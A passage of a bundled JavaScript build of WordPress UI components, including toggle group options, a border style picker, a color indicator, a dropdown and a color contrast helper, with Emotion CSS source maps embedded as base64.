PCBUb2dnbGVHcm91cENvbnRyb2xQcm9wcywgJ3NpemUnID4gKSA9PiB7XG5cdGNvbnN0IGljb25CdXR0b25TaXplcyA9IHtcblx0XHRkZWZhdWx0OiAnMzRweCcsXG5cdFx0J19fdW5zdGFibGUtbGFyZ2UnOiAnMzhweCcsXG5cdH07XG5cblx0cmV0dXJuIGNzc2Bcblx0XHRoZWlnaHQ6ICR7IGljb25CdXR0b25TaXplc1sgc2l6ZSBdIH07XG5cdFx0YXNwZWN0LXJhdGlvOiAxO1xuXHRcdHBhZGRpbmctbGVmdDogMDtcblx0XHRwYWRkaW5nLXJpZ2h0OiAwO1xuXHRgO1xufTtcbiJdfQ== */"));
29986 var isIconStyles = ({
29987 size: size3 = "default"
29988 }) => {
29989 const iconButtonSizes = {
29990 default: "34px",
29991 "__unstable-large": "38px"
29992 };
29993 return /* @__PURE__ */ css("height:", iconButtonSizes[size3], ";aspect-ratio:1;padding-left:0;padding-right:0;" + (false ? "" : ";label:isIconStyles;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFnSFciLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT05GSUcsIENPTE9SUyB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHtcblx0VG9nZ2xlR3JvdXBDb250cm9sUHJvcHMsXG5cdFRvZ2dsZUdyb3VwQ29udHJvbE9wdGlvbkJhc2VQcm9wcyxcbn0gZnJvbSAnLi4vdHlwZXMnO1xuXG5leHBvcnQgY29uc3QgTGFiZWxWaWV3ID0gc3R5bGVkLmRpdmBcblx0ZGlzcGxheTogaW5saW5lLWZsZXg7XG5cdG1heC13aWR0aDogMTAwJTtcblx0bWluLXdpZHRoOiAwO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5gO1xuXG5leHBvcnQgY29uc3QgbGFiZWxCbG9jayA9IGNzc2Bcblx0ZmxleDogMTtcbmA7XG5cbmV4cG9ydCBjb25zdCBidXR0b25WaWV3ID0gKCB7XG5cdGlzRGVzZWxlY3RhYmxlLFxuXHRpc0ljb24sXG5cdGlzUHJlc3NlZCxcblx0c2l6ZSxcbn06IFBpY2s8IFRvZ2dsZUdyb3VwQ29udHJvbFByb3BzLCAnaXNEZXNlbGVjdGFibGUnIHwgJ3NpemUnID4gJlxuXHRQaWNrPCBUb2dnbGVHcm91cENvbnRyb2xPcHRpb25CYXNlUHJvcHMsICdpc0ljb24nID4gJiB7XG5cdFx0aXNQcmVzc2VkPzogYm9vbGVhbjtcblx0fSApID0+IGNzc2Bcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0YXBwZWFyYW5jZTogbm9uZTtcblx0YmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7XG5cdGJvcmRlcjogbm9uZTtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1hTbWFsbCB9O1xuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmdyYXlbIDcwMCBdIH07XG5cdGZpbGw6IGN1cnJlbnRDb2xvcjtcblx0Y3Vyc29yOiBwb2ludGVyO1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRmb250LWZhbWlseTogaW5oZXJpdDtcblx0aGVpZ2h0OiAxMDAlO1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblx0bGluZS1oZWlnaHQ6IDEwMCU7XG5cdG91dGxpbmU6IG5vbmU7XG5cdHBhZGRpbmc6IDAgMTJweDtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHR0ZXh0LWFsaWduOiBjZW50ZXI7XG5cdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdHRyYW5zaXRpb246XG5cdFx0XHRjb2xvciAkeyBDT05GSUcudHJhbnNpdGlvbkR1cmF0aW9uRmFzdCB9IGxpbmVhcixcblx0XHRcdGZvbnQtd2VpZ2h0IDYwbXMgbGluZWFyO1xuXHR9XG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHR3aWR0aDogMTAwJTtcblx0ei1pbmRleDogMjtcblxuXHQmOjotbW96LWZvY3VzLWlubmVyIHtcblx0XHRib3JkZXI6IDA7XG5cdH1cblxuXHQmW2Rpc2FibGVkXSxcblx0JlthcmlhLWRpc2FibGVkPSd0cnVlJ10ge1xuXHRcdG9wYWNpdHk6IDAuNDtcblx0XHRjdXJzb3I6IGRlZmF1bHQ7XG5cdH1cblxuXHQmOmhvdmVyOm5vdCggW2Rpc2FibGVkXSApOm5vdCggW2FyaWEtZGlzYWJsZWQ9J3RydWUnXSApIHtcblx0XHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmZvcmVncm91bmQgfTtcblx0fVxuXG5cdCR7IGlzRGVzZWxlY3RhYmxlICYmIGRlc2VsZWN0YWJsZSB9XG5cdCR7IGlzSWNvbiAmJiBpc0ljb25TdHlsZXMoIHsgc2l6ZSB9ICkgfVxuXHQkeyBpc1ByZXNzZWQgJiYgcHJlc3NlZCB9XG5gO1xuXG5jb25zdCBwcmVzc2VkID0gY3NzYFxuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmZvcmVncm91bmQgfTtcblx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0TWVkaXVtIH07XG5gO1xuXG5jb25zdCBkZXNlbGVjdGFibGUgPSBjc3NgXG5cdCY6Zm9jdXMge1xuXHRcdG91dGxpbmU6ICR7IENPTkZJRy5ib3JkZXJXaWR0aEZvY3VzIH0gc29saWQgJHsgQ09MT1JTLnVpLmJvcmRlckZvY3VzIH07XG5cdFx0b3V0bGluZS1vZmZzZXQ6IDJweDtcblxuXHRcdC8vIEhpZGUgb3ZlcmxhcHBpbmcgYm9yZGVyXG5cdFx0JlthcmlhLXByZXNzZWQ9J2ZhbHNlJ10ge1xuXHRcdFx0YmFja2dyb3VuZDogJHsgQ09MT1JTLnVpLmJhY2tncm91bmQgfTtcblx0XHRcdGJveC1zaGFkb3c6IDAgMCAwIDJweCAkeyBDT0xPUlMudWkuYmFja2dyb3VuZCB9O1xuXHRcdH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IEJ1dHRvbkNvbnRlbnRWaWV3ID0gc3R5bGVkLmRpdmBcblx0ZGlzcGxheTogZmxleDtcblx0Zm9udC1zaXplOiAkeyBDT05GSUcuZm9udFNpemUgfTtcblx0bGluZS1oZWlnaHQ6IDE7XG5gO1xuXG5jb25zdCBpc0ljb25TdHlsZXMgPSAoIHtcblx0c2l6ZSA9ICdkZWZhdWx0Jyxcbn06IFBpY2s8IFRvZ2dsZUdyb3VwQ29udHJvbFByb3BzLCAnc2l6ZScgPiApID0+IHtcblx0Y29uc3QgaWNvbkJ1dHRvblNpemVzID0ge1xuXHRcdGRlZmF1bHQ6ICczNHB4Jyxcblx0XHQnX191bnN0YWJsZS1sYXJnZSc6ICczOHB4Jyxcblx0fTtcblxuXHRyZXR1cm4gY3NzYFxuXHRcdGhlaWdodDogJHsgaWNvbkJ1dHRvblNpemVzWyBzaXplIF0gfTtcblx0XHRhc3BlY3QtcmF0aW86IDE7XG5cdFx0cGFkZGluZy1sZWZ0OiAwO1xuXHRcdHBhZGRpbmctcmlnaHQ6IDA7XG5cdGA7XG59O1xuIl19 */");
29994 };
29995
29996 // packages/components/build-module/toggle-group-control/toggle-group-control-option-base/component.mjs
29997 var import_jsx_runtime117 = __toESM(require_jsx_runtime(), 1);
29998 var {
29999 ButtonContentView: ButtonContentView2,
30000 LabelView: LabelView2
30001 } = styles_exports6;
30002 var WithToolTip = ({
30003 showTooltip,
30004 text,
30005 children
30006 }) => {
30007 if (showTooltip && text) {
30008 return /* @__PURE__ */ (0, import_jsx_runtime117.jsx)(tooltip_default, {
30009 text,
30010 placement: "top",
30011 children
30012 });
30013 }
30014 return /* @__PURE__ */ (0, import_jsx_runtime117.jsx)(import_jsx_runtime117.Fragment, {
30015 children
30016 });
30017 };
30018 function ToggleGroupControlOptionBase(props, forwardedRef) {
30019 const toggleGroupControlContext = useToggleGroupControlContext();
30020 const id3 = (0, import_compose26.useInstanceId)(ToggleGroupControlOptionBase, toggleGroupControlContext.baseId || "toggle-group-control-option-base");
30021 const buttonProps = useContextSystem({
30022 ...props,
30023 id: id3
30024 }, "ToggleGroupControlOptionBase");
30025 const {
30026 isBlock = false,
30027 isDeselectable = false,
30028 size: size3 = "default"
30029 } = toggleGroupControlContext;
30030 const {
30031 className: className2,
30032 isIcon = false,
30033 value,
30034 children,
30035 showTooltip = false,
30036 disabled,
30037 ...otherButtonProps
30038 } = buttonProps;
30039 const isPressed = toggleGroupControlContext.value === value;
30040 const cx3 = useCx();
30041 const labelViewClasses = (0, import_element63.useMemo)(() => cx3(isBlock && labelBlock), [cx3, isBlock]);
30042 const itemClasses = (0, import_element63.useMemo)(() => cx3(buttonView({
30043 isDeselectable,
30044 isIcon,
30045 isPressed,
30046 size: size3
30047 }), className2), [cx3, isDeselectable, isIcon, isPressed, size3, className2]);
30048 const buttonOnClick = () => {
30049 if (isDeselectable && isPressed) {
30050 toggleGroupControlContext.setValue(void 0);
30051 } else {
30052 toggleGroupControlContext.setValue(value);
30053 }
30054 };
30055 const commonProps = {
30056 ...otherButtonProps,
30057 className: itemClasses,
30058 "data-value": value,
30059 ref: forwardedRef
30060 };
30061 const labelRef = (0, import_element63.useRef)(null);
30062 (0, import_element63.useLayoutEffect)(() => {
30063 if (isPressed && labelRef.current) {
30064 toggleGroupControlContext.setSelectedElement(labelRef.current);
30065 }
30066 }, [isPressed, toggleGroupControlContext]);
30067 return /* @__PURE__ */ (0, import_jsx_runtime117.jsx)(LabelView2, {
30068 ref: labelRef,
30069 className: labelViewClasses,
30070 children: /* @__PURE__ */ (0, import_jsx_runtime117.jsx)(WithToolTip, {
30071 showTooltip,
30072 text: otherButtonProps["aria-label"],
30073 children: isDeselectable ? /* @__PURE__ */ (0, import_jsx_runtime117.jsx)("button", {
30074 ...commonProps,
30075 disabled,
30076 "aria-pressed": isPressed,
30077 type: "button",
30078 onClick: buttonOnClick,
30079 children: /* @__PURE__ */ (0, import_jsx_runtime117.jsx)(ButtonContentView2, {
30080 children
30081 })
30082 }) : /* @__PURE__ */ (0, import_jsx_runtime117.jsx)(Radio, {
30083 disabled,
30084 onFocusVisible: () => {
30085 const selectedValueIsEmpty = toggleGroupControlContext.value === null || toggleGroupControlContext.value === "";
30086 if (!selectedValueIsEmpty || toggleGroupControlContext.activeItemIsNotFirstItem?.()) {
30087 toggleGroupControlContext.setValue(value);
30088 }
30089 },
30090 render: /* @__PURE__ */ (0, import_jsx_runtime117.jsx)("button", {
30091 type: "button",
30092 ...commonProps
30093 }),
30094 value,
30095 children: /* @__PURE__ */ (0, import_jsx_runtime117.jsx)(ButtonContentView2, {
30096 children
30097 })
30098 })
30099 })
30100 });
30101 }
30102 var ConnectedToggleGroupControlOptionBase = contextConnect(ToggleGroupControlOptionBase, "ToggleGroupControlOptionBase");
30103 var component_default13 = ConnectedToggleGroupControlOptionBase;
30104
30105 // packages/components/build-module/toggle-group-control/toggle-group-control-option/component.mjs
30106 var import_jsx_runtime118 = __toESM(require_jsx_runtime(), 1);
30107 function UnforwardedToggleGroupControlOption(props, ref) {
30108 const {
30109 label,
30110 ...restProps
30111 } = props;
30112 const optionLabel = restProps["aria-label"] || label;
30113 return /* @__PURE__ */ (0, import_jsx_runtime118.jsx)(component_default13, {
30114 ...restProps,
30115 "aria-label": optionLabel,
30116 ref,
30117 children: label
30118 });
30119 }
30120 var ToggleGroupControlOption = (0, import_element64.forwardRef)(UnforwardedToggleGroupControlOption);
30121 ToggleGroupControlOption.displayName = "ToggleGroupControlOption";
30122 var component_default14 = ToggleGroupControlOption;
30123
30124 // packages/components/build-module/toggle-group-control/toggle-group-control-option-icon/component.mjs
30125 var import_element65 = __toESM(require_element(), 1);
30126 var import_jsx_runtime119 = __toESM(require_jsx_runtime(), 1);
30127 function UnforwardedToggleGroupControlOptionIcon(props, ref) {
30128 const {
30129 icon,
30130 label,
30131 ...restProps
30132 } = props;
30133 return /* @__PURE__ */ (0, import_jsx_runtime119.jsx)(component_default13, {
30134 ...restProps,
30135 isIcon: true,
30136 "aria-label": label,
30137 showTooltip: true,
30138 ref,
30139 children: /* @__PURE__ */ (0, import_jsx_runtime119.jsx)(icon_default3, {
30140 icon
30141 })
30142 });
30143 }
30144 var ToggleGroupControlOptionIcon = (0, import_element65.forwardRef)(UnforwardedToggleGroupControlOptionIcon);
30145 ToggleGroupControlOptionIcon.displayName = "ToggleGroupControlOptionIcon";
30146 var component_default15 = ToggleGroupControlOptionIcon;
30147
30148 // packages/components/build-module/border-control/border-control-style-picker/component.mjs
30149 var import_jsx_runtime120 = __toESM(require_jsx_runtime(), 1);
30150 var BORDER_STYLES = [{
30151 label: (0, import_i18n11.__)("Solid"),
30152 icon: line_solid_default,
30153 value: "solid"
30154 }, {
30155 label: (0, import_i18n11.__)("Dashed"),
30156 icon: line_dashed_default,
30157 value: "dashed"
30158 }, {
30159 label: (0, import_i18n11.__)("Dotted"),
30160 icon: line_dotted_default,
30161 value: "dotted"
30162 }];
30163 function UnconnectedBorderControlStylePicker({
30164 onChange,
30165 ...restProps
30166 }, forwardedRef) {
30167 return /* @__PURE__ */ (0, import_jsx_runtime120.jsx)(component_default12, {
30168 __next40pxDefaultSize: true,
30169 ref: forwardedRef,
30170 isDeselectable: true,
30171 onChange: (value) => {
30172 onChange?.(value);
30173 },
30174 ...restProps,
30175 children: BORDER_STYLES.map((borderStyle) => /* @__PURE__ */ (0, import_jsx_runtime120.jsx)(component_default15, {
30176 value: borderStyle.value,
30177 icon: borderStyle.icon,
30178 label: borderStyle.label
30179 }, borderStyle.value))
30180 });
30181 }
30182 var BorderControlStylePicker = contextConnect(UnconnectedBorderControlStylePicker, "BorderControlStylePicker");
30183 var component_default16 = BorderControlStylePicker;
30184
30185 // packages/components/build-module/color-indicator/index.mjs
30186 var import_element66 = __toESM(require_element(), 1);
30187 var import_jsx_runtime121 = __toESM(require_jsx_runtime(), 1);
30188 function UnforwardedColorIndicator(props, forwardedRef) {
30189 const {
30190 className: className2,
30191 colorValue,
30192 ...additionalProps
30193 } = props;
30194 return /* @__PURE__ */ (0, import_jsx_runtime121.jsx)("span", {
30195 className: clsx_default("component-color-indicator", className2),
30196 style: {
30197 background: colorValue
30198 },
30199 ref: forwardedRef,
30200 ...additionalProps
30201 });
30202 }
30203 var ColorIndicator = (0, import_element66.forwardRef)(UnforwardedColorIndicator);
30204 ColorIndicator.displayName = "ColorIndicator";
30205 var color_indicator_default = ColorIndicator;
30206
30207 // node_modules/colord/plugins/a11y.mjs
30208 var o2 = function(o4) {
30209 var t4 = o4 / 255;
30210 return t4 < 0.04045 ? t4 / 12.92 : Math.pow((t4 + 0.055) / 1.055, 2.4);
30211 };
30212 var t2 = function(t4) {
30213 return 0.2126 * o2(t4.r) + 0.7152 * o2(t4.g) + 0.0722 * o2(t4.b);
30214 };
30215 function a11y_default(o4) {
30216 o4.prototype.luminance = function() {
30217 return o5 = t2(this.rgba), void 0 === (r4 = 2) && (r4 = 0), void 0 === n3 && (n3 = Math.pow(10, r4)), Math.round(n3 * o5) / n3 + 0;
30218 var o5, r4, n3;
30219 }, o4.prototype.contrast = function(r4) {
30220 void 0 === r4 && (r4 = "#FFF");
30221 var n3, a3, i3, e3, v3, u3, d3, c3 = r4 instanceof o4 ? r4 : new o4(r4);
30222 return e3 = this.rgba, v3 = c3.toRgb(), u3 = t2(e3), d3 = t2(v3), n3 = u3 > d3 ? (u3 + 0.05) / (d3 + 0.05) : (d3 + 0.05) / (u3 + 0.05), void 0 === (a3 = 2) && (a3 = 0), void 0 === i3 && (i3 = Math.pow(10, a3)), Math.floor(i3 * n3) / i3 + 0;
30223 }, o4.prototype.isReadable = function(o5, t4) {
30224 return void 0 === o5 && (o5 = "#FFF"), void 0 === t4 && (t4 = {}), this.contrast(o5) >= (e3 = void 0 === (i3 = (r4 = t4).size) ? "normal" : i3, "AAA" === (a3 = void 0 === (n3 = r4.level) ? "AA" : n3) && "normal" === e3 ? 7 : "AA" === a3 && "large" === e3 ? 3 : 4.5);
30225 var r4, n3, a3, i3, e3;
30226 };
30227 }
30228
30229 // packages/components/build-module/color-palette/index.mjs
30230 var import_compose34 = __toESM(require_compose(), 1);
30231 var import_i18n20 = __toESM(require_i18n(), 1);
30232 var import_element81 = __toESM(require_element(), 1);
30233
30234 // packages/components/build-module/dropdown/index.mjs
30235 var import_element67 = __toESM(require_element(), 1);
30236 var import_compose27 = __toESM(require_compose(), 1);
30237 var import_deprecated7 = __toESM(require_deprecated(), 1);
30238 var import_jsx_runtime122 = __toESM(require_jsx_runtime(), 1);
30239 var UnconnectedDropdown = (props, forwardedRef) => {
30240 const {
30241 renderContent,
30242 renderToggle,
30243 className: className2,
30244 contentClassName,
30245 expandOnMobile,
30246 headerTitle,
30247 focusOnMount,
30248 popoverProps,
30249 onClose,
30250 onToggle,
30251 style: style2,
30252 open,
30253 defaultOpen,
30254 // Deprecated props
30255 position: position2,
30256 // From context system
30257 variant
30258 } = useContextSystem(props, "Dropdown");
30259 if (position2 !== void 0) {
30260 (0, import_deprecated7.default)("`position` prop in wp.components.Dropdown", {
30261 since: "6.2",
30262 alternative: "`popoverProps.placement` prop",
30263 hint: "Note that the `position` prop will override any values passed through the `popoverProps.placement` prop."
30264 });
30265 }
30266 const [fallbackPopoverAnchor, setFallbackPopoverAnchor] = (0, import_element67.useState)(null);
30267 const containerRef = (0, import_element67.useRef)(null);
30268 const [isOpen, setIsOpen] = useControlledValue({
30269 defaultValue: defaultOpen,
30270 value: open,
30271 onChange: onToggle
30272 });
30273 function closeIfFocusOutside() {
30274 if (!containerRef.current) {
30275 return;
30276 }
30277 const {
30278 ownerDocument
30279 } = containerRef.current;
30280 const dialog = ownerDocument?.activeElement?.closest('[role="dialog"]');
30281 if (!containerRef.current.contains(ownerDocument.activeElement) && (!dialog || dialog.contains(containerRef.current))) {
30282 close();
30283 }
30284 }
30285 function close() {
30286 onClose?.();
30287 setIsOpen(false);
30288 }
30289 const args = {
30290 isOpen: !!isOpen,
30291 onToggle: () => setIsOpen(!isOpen),
30292 onClose: close
30293 };
30294 const popoverPropsHaveAnchor = !!popoverProps?.anchor || // Note: `anchorRef`, `getAnchorRect` and `anchorRect` are deprecated and
30295 // be removed from `Popover` from WordPress 6.3
30296 !!popoverProps?.anchorRef || !!popoverProps?.getAnchorRect || !!popoverProps?.anchorRect;
30297 return /* @__PURE__ */ (0, import_jsx_runtime122.jsxs)("div", {
30298 className: className2,
30299 ref: (0, import_compose27.useMergeRefs)([containerRef, forwardedRef, setFallbackPopoverAnchor]),
30300 tabIndex: -1,
30301 style: style2,
30302 children: [renderToggle(args), isOpen && /* @__PURE__ */ (0, import_jsx_runtime122.jsx)(popover_default, {
30303 position: position2,
30304 onClose: close,
30305 onFocusOutside: closeIfFocusOutside,
30306 expandOnMobile,
30307 headerTitle,
30308 focusOnMount,
30309 offset: 13,
30310 anchor: !popoverPropsHaveAnchor ? fallbackPopoverAnchor : void 0,
30311 variant,
30312 ...popoverProps,
30313 className: clsx_default("components-dropdown__content", popoverProps?.className, contentClassName),
30314 children: renderContent(args)
30315 })]
30316 });
30317 };
30318 var Dropdown = contextConnect(UnconnectedDropdown, "Dropdown");
30319 var dropdown_default = Dropdown;
30320
30321 // packages/components/build-module/color-picker/component.mjs
30322 var import_element76 = __toESM(require_element(), 1);
30323 var import_compose31 = __toESM(require_compose(), 1);
30324 var import_i18n16 = __toESM(require_i18n(), 1);
30325
30326 // packages/components/build-module/select-control/index.mjs
30327 var import_compose28 = __toESM(require_compose(), 1);
30328 var import_element68 = __toESM(require_element(), 1);
30329
30330 // packages/components/build-module/select-control/styles/select-control-styles.mjs
30331 function _EMOTION_STRINGIFIED_CSS_ERROR__12() {
30332 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
30333 }
30334 var disabledStyles2 = ({
30335 disabled
30336 }) => {
30337 if (!disabled) {
30338 return "";
30339 }
30340 return /* @__PURE__ */ css("color:", COLORS.ui.textDisabled, ";cursor:default;" + (false ? "" : ";label:disabledStyles;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInNlbGVjdC1jb250cm9sLXN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUErQlciLCJmaWxlIjoic2VsZWN0LWNvbnRyb2wtc3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIHJ0bCwgQ09ORklHIH0gZnJvbSAnLi4vLi4vdXRpbHMnO1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi8uLi91dGlscy9zcGFjZSc7XG5pbXBvcnQgdHlwZSB7IFNlbGVjdENvbnRyb2xQcm9wcyB9IGZyb20gJy4uL3R5cGVzJztcbmltcG9ydCBJbnB1dENvbnRyb2xTdWZmaXhXcmFwcGVyIGZyb20gJy4uLy4uL2lucHV0LWNvbnRyb2wvaW5wdXQtc3VmZml4LXdyYXBwZXInO1xuaW1wb3J0IHsgZm9udFNpemVTdHlsZXMgfSBmcm9tICcuLi8uLi9pbnB1dC1jb250cm9sL3N0eWxlcy9pbnB1dC1jb250cm9sLXN0eWxlcyc7XG5pbXBvcnQgSW5wdXRCYXNlIGZyb20gJy4uLy4uL2lucHV0LWNvbnRyb2wvaW5wdXQtYmFzZSc7XG5cbmludGVyZmFjZSBTZWxlY3RQcm9wc1xuXHRleHRlbmRzIFBpY2s8XG5cdFx0U2VsZWN0Q29udHJvbFByb3BzLFxuXHRcdCdfX25leHQ0MHB4RGVmYXVsdFNpemUnIHwgJ2Rpc2FibGVkJyB8ICdtdWx0aXBsZScgfCAndmFyaWFudCdcblx0PiB7XG5cdC8vIFVzaW5nIGBzZWxlY3RTaXplYCBpbnN0ZWFkIG9mIGBzaXplYCB0byBhdm9pZCBhIHR5cGUgY29uZmxpY3Qgd2l0aCB0aGVcblx0Ly8gYHNpemVgIEhUTUwgYXR0cmlidXRlIG9mIHRoZSBgc2VsZWN0YCBlbGVtZW50LlxuXHRzZWxlY3RTaXplPzogU2VsZWN0Q29udHJvbFByb3BzWyAnc2l6ZScgXTtcbn1cblxuY29uc3QgZGlzYWJsZWRTdHlsZXMgPSAoIHsgZGlzYWJsZWQgfTogU2VsZWN0UHJvcHMgKSA9PiB7XG5cdGlmICggISBkaXNhYmxlZCApIHtcblx0XHRyZXR1cm4gJyc7XG5cdH1cblxuXHRyZXR1cm4gY3NzYFxuXHRcdGNvbG9yOiAkeyBDT0xPUlMudWkudGV4dERpc2FibGVkIH07XG5cdFx0Y3Vyc29yOiBkZWZhdWx0O1xuXHRgO1xufTtcblxuY29uc3QgaW5wdXRCYXNlVmFyaWFudFN0eWxlcyA9ICggeyB2YXJpYW50IH06IFNlbGVjdFByb3BzICkgPT4ge1xuXHRpZiAoIHZhcmlhbnQgPT09ICdtaW5pbWFsJyApIHtcblx0XHRyZXR1cm4gY3NzYFxuXHRcdFx0ZGlzcGxheTogaW5saW5lLWZsZXg7XG5cdFx0YDtcblx0fVxuXG5cdHJldHVybiAnJztcbn07XG5cbmV4cG9ydCBjb25zdCBTdHlsZWRJbnB1dEJhc2UgPSBzdHlsZWQoIElucHV0QmFzZSApYFxuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmZvcmVncm91bmQgfTtcblx0Y3Vyc29yOiBwb2ludGVyO1xuXG5cdCR7IGRpc2FibGVkU3R5bGVzIH1cblx0JHsgaW5wdXRCYXNlVmFyaWFudFN0eWxlcyB9XG5gO1xuXG5jb25zdCBzaXplU3R5bGVzID0gKCB7XG5cdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcblx0bXVsdGlwbGUsXG5cdHNlbGVjdFNpemUgPSAnZGVmYXVsdCcsXG59OiBTZWxlY3RQcm9wcyApID0+IHtcblx0aWYgKCBtdWx0aXBsZSApIHtcblx0XHQvLyBXaGVuIGBtdWx0aXBsZWAsIGp1c3QgdXNlIHRoZSBuYXRpdmUgYnJvd3NlciBzdHlsZXNcblx0XHQvLyB3aXRob3V0IHNldHRpbmcgZXhwbGljaXQgaGVpZ2h0LlxuXHRcdHJldHVybjtcblx0fVxuXG5cdGNvbnN0IHNpemVzID0ge1xuXHRcdGRlZmF1bHQ6IHtcblx0XHRcdGhlaWdodDogNDAsXG5cdFx0XHRtaW5IZWlnaHQ6IDQwLFxuXHRcdFx0cGFkZGluZ1RvcDogMCxcblx0XHRcdHBhZGRpbmdCb3R0b206IDAsXG5cdFx0fSxcblx0XHRzbWFsbDoge1xuXHRcdFx0aGVpZ2h0OiAyNCxcblx0XHRcdG1pbkhlaWdodDogMjQsXG5cdFx0XHRwYWRkaW5nVG9wOiAwLFxuXHRcdFx0cGFkZGluZ0JvdHRvbTogMCxcblx0XHR9LFxuXHRcdGNvbXBhY3Q6IHtcblx0XHRcdGhlaWdodDogMzIsXG5cdFx0XHRtaW5IZWlnaHQ6IDMyLFxuXHRcdFx0cGFkZGluZ1RvcDogMCxcblx0XHRcdHBhZGRpbmdCb3R0b206IDAsXG5cdFx0fSxcblx0XHQnX191bnN0YWJsZS1sYXJnZSc6IHtcblx0XHRcdGhlaWdodDogNDAsXG5cdFx0XHRtaW5IZWlnaHQ6IDQwLFxuXHRcdFx0cGFkZGluZ1RvcDogMCxcblx0XHRcdHBhZGRpbmdCb3R0b206IDAsXG5cdFx0fSxcblx0fTtcblxuXHRpZiAoICEgX19uZXh0NDBweERlZmF1bHRTaXplICkge1xuXHRcdHNpemVzLmRlZmF1bHQgPSBzaXplcy5jb21wYWN0O1xuXHR9XG5cblx0Y29uc3Qgc3R5bGUgPSBzaXplc1sgc2VsZWN0U2l6ZSBdIHx8IHNpemVzLmRlZmF1bHQ7XG5cblx0cmV0dXJuIGNzcyggc3R5bGUgKTtcbn07XG5cbmV4cG9ydCBjb25zdCBjaGV2cm9uSWNvblNpemUgPSAxODtcblxuY29uc3Qgc2l6ZVBhZGRpbmdzID0gKCB7XG5cdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcblx0bXVsdGlwbGUsXG5cdHNlbGVjdFNpemUgPSAnZGVmYXVsdCcsXG59OiBTZWxlY3RQcm9wcyApID0+IHtcblx0Y29uc3QgcGFkZGluZyA9IHtcblx0XHRkZWZhdWx0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdHNtYWxsOiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0Y29tcGFjdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWFNtYWxsLFxuXHRcdCdfX3Vuc3RhYmxlLWxhcmdlJzogQ09ORklHLmNvbnRyb2xQYWRkaW5nWCxcblx0fTtcblxuXHRpZiAoICEgX19uZXh0NDBweERlZmF1bHRTaXplICkge1xuXHRcdHBhZGRpbmcuZGVmYXVsdCA9IHBhZGRpbmcuY29tcGFjdDtcblx0fVxuXG5cdGNvbnN0IHNlbGVjdGVkUGFkZGluZyA9IHBhZGRpbmdbIHNlbGVjdFNpemUgXSB8fCBwYWRkaW5nLmRlZmF1bHQ7XG5cblx0cmV0dXJuIHJ0bCgge1xuXHRcdHBhZGRpbmdMZWZ0OiBzZWxlY3RlZFBhZGRpbmcsXG5cdFx0cGFkZGluZ1JpZ2h0OiBzZWxlY3RlZFBhZGRpbmcgKyBjaGV2cm9uSWNvblNpemUsXG5cdFx0Li4uKCBtdWx0aXBsZVxuXHRcdFx0PyB7XG5cdFx0XHRcdFx0cGFkZGluZ1RvcDogc2VsZWN0ZWRQYWRkaW5nLFxuXHRcdFx0XHRcdHBhZGRpbmdCb3R0b206IHNlbGVjdGVkUGFkZGluZyxcblx0XHRcdCAgfVxuXHRcdFx0OiB7fSApLFxuXHR9ICk7XG59O1xuXG5jb25zdCBvdmVyZmxvd1N0eWxlcyA9ICggeyBtdWx0aXBsZSB9OiBTZWxlY3RQcm9wcyApID0+IHtcblx0cmV0dXJuIHtcblx0XHRvdmVyZmxvdzogbXVsdGlwbGUgPyAnYXV0bycgOiAnaGlkZGVuJyxcblx0fTtcbn07XG5cbmNvbnN0IHZhcmlhbnRTdHlsZXMgPSAoIHsgdmFyaWFudCB9OiBTZWxlY3RQcm9wcyApID0+IHtcblx0aWYgKCB2YXJpYW50ID09PSAnbWluaW1hbCcgKSB7XG5cdFx0cmV0dXJuIGNzcygge1xuXHRcdFx0ZmllbGRTaXppbmc6ICdjb2